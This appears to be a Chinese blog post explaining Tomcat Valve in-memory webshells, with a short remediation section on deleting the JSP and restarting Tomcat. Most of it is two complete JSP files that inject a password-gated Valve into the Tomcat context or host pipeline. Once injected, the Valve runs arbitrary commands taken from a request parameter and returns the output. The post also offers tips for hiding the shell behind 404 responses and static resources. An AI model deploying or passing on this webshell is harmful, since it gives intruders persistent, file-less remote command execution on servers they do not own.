tomcat Valve內存馬

  隨着hw演習,紅藍對抗越來越激烈,攻防對抗研究無止盡,以前hw,黑客上傳個jsp文件,直接kill掉就可以了,現在kill掉還得重啓服務纔可以,現在的木馬是直接注入內存.

  應用場景:文件上傳漏洞等

  反序列化漏洞,是直接注入生效,無需文件落地訪問落地生效,今天圍繞着文件訪問落地注入內存馬:

  我博客寫了四篇tomcat文章,就是爲tomcat內存馬做鋪墊:

  直接上demo:

<%@ page import="org.apache.catalina.valves.ValveBase" %>
<%@ page import="java.io.IOException" %>
<%@ page import="org.apache.catalina.connector.Request" %>
<%@ page import="org.apache.catalina.connector.Response" %>
<%@ page import="org.apache.catalina.Valve" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.mapper.MappingData" %>
<%@ page import="org.apache.catalina.Pipeline" %>
<%@ page import="org.apache.catalina.Context" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="org.apache.catalina.core.*" %>
<%@ page import="org.apache.catalina.connector.Connector" %>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%!
    public class myValue extends ValveBase {
        public void invoke(Request req, Response resp) throws IOException, ServletException {
            if ("023".equals(req.getParameter("pwd"))) {
                java.io.InputStream in = Runtime.getRuntime().exec(req.getParameter("i")).getInputStream();
                int a = -1;
                byte[] b = new byte[2048];
                resp.getWriter().write("<pre>");

                while ((a = in.read(b)) != -1) {
                    resp.getWriter().write(new String(b));
                }
                resp.getWriter().write("</pre>");
            }
            //注入調用invoke
            this.getNext().invoke(req, resp);
        }

    }
%>
<%
    myValue myValve = new myValue();
    //獲取request屬性
    Field request1 = request.getClass().getDeclaredField("request");
    request1.setAccessible(true);
    Request req = (Request) request1.get(request);
    System.out.println(req);
    //獲取請求上下文地址,並轉換成StandardContext
    StandardContext context = (StandardContext) req.getContext();
    Pipeline pipeline = context.getPipeline();
    pipeline.addValve(myValve);

%>
<html>
<head>
    <title>$Title$</title>
</head>
<body>
<h1>hello JavaWeb</h1>
</body>
</html>

  啓動tomcat運行:

  

 

   這裏可以設置響應404,更隱匿,這時候內存馬已經被注入成功.

  訪問一個不存在的頁面:

  

 

  如果做了報錯統一處理,是可以在不存在的一個頁面上rce的,爲什麼這裏可以執行命令,因爲我做了缺省servlet:

  

 

 

 這段代碼的缺陷是必須是可訪問的界面,不能在jpg/ico/png靜態資源上執行命令回顯,我測試是不能在圖片上回顯....

    如果我是一張靜態資源圖片,是無法執行命令的,只會顯示jpg,執行任何命令都沒反應:

    

 

 

  對前面的代碼做改造,因爲有了一些tomcat架構設計基礎,簡單的改造下:

    首先訪問test.jsp,讓內存馬注入生效

      

  再次訪問jpg圖片:  

    

 

 

 

  訪問favicon.ico:

  

 

 

  

  代碼如下:

<%@ page import="org.apache.catalina.valves.ValveBase" %>
<%@ page import="java.io.IOException" %>
<%@ page import="org.apache.catalina.connector.Request" %>
<%@ page import="org.apache.catalina.connector.Response" %>
<%@ page import="org.apache.catalina.Valve" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.mapper.MappingData" %>
<%@ page import="org.apache.catalina.Pipeline" %>
<%@ page import="org.apache.catalina.Context" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="org.apache.catalina.core.*" %>
<%@ page import="org.apache.catalina.connector.Connector" %>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%!
    public class myValue extends ValveBase {
        public void invoke(Request req, Response resp) throws IOException, ServletException {
            if ("023".equals(req.getParameter("pwd"))) {
                java.io.InputStream in = Runtime.getRuntime().exec(req.getParameter("i")).getInputStream();
                int a = -1;
                byte[] b = new byte[2048];
                resp.getWriter().write("<pre>");

                while ((a = in.read(b)) != -1) {
                    resp.getWriter().write(new String(b));
                }
                resp.getWriter().write("</pre>");
            }
            //注入調用invoke
            this.getNext().invoke(req, resp);
        }

    }
%>
<%
    myValue myValve = new myValue();
    //獲取request屬性
    Field request1 = request.getClass().getDeclaredField("request");
    request1.setAccessible(true);
    Request req = (Request) request1.get(request);
    System.out.println(req);
    StandardHost host = (StandardHost) req.getHost();
    Pipeline pipeline = host.getPipeline();
    pipeline.addValve(myValve);

%>
<html>
<head>
    <title>$Title$</title>
</head>
<body>
<h1>hello JavaWeb</h1>
</body>
</html>

  漏洞修復:

    (1)先刪除jsp

  被中內存馬後,刪除jsp後一定要重啓,這裏我刪除test.jsp,但是我沒重啓,仍然可以執行命令操作:

    

 

 

  刪除jsp木馬後,下一步就是重啓tomcat服務:

    

 

 

  重啓後,一切恢復正常,內存馬清理成功.

  注意:如果沒發現jsp shell,那麼大概率是直接注入/攻擊者刪除了jsp,這時候直接重啓tomcat服務即可解決問題

  Valve內存馬學習參考鏈接:https://mp.weixin.qq.com/s/kfN6uU3A-jR72fyK8epnGw

  內存馬現在花樣套路層出不窮,花樣百出,這裏筆者只是拋磚引玉,安全之路任道衆遠!

 

  

 

  

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章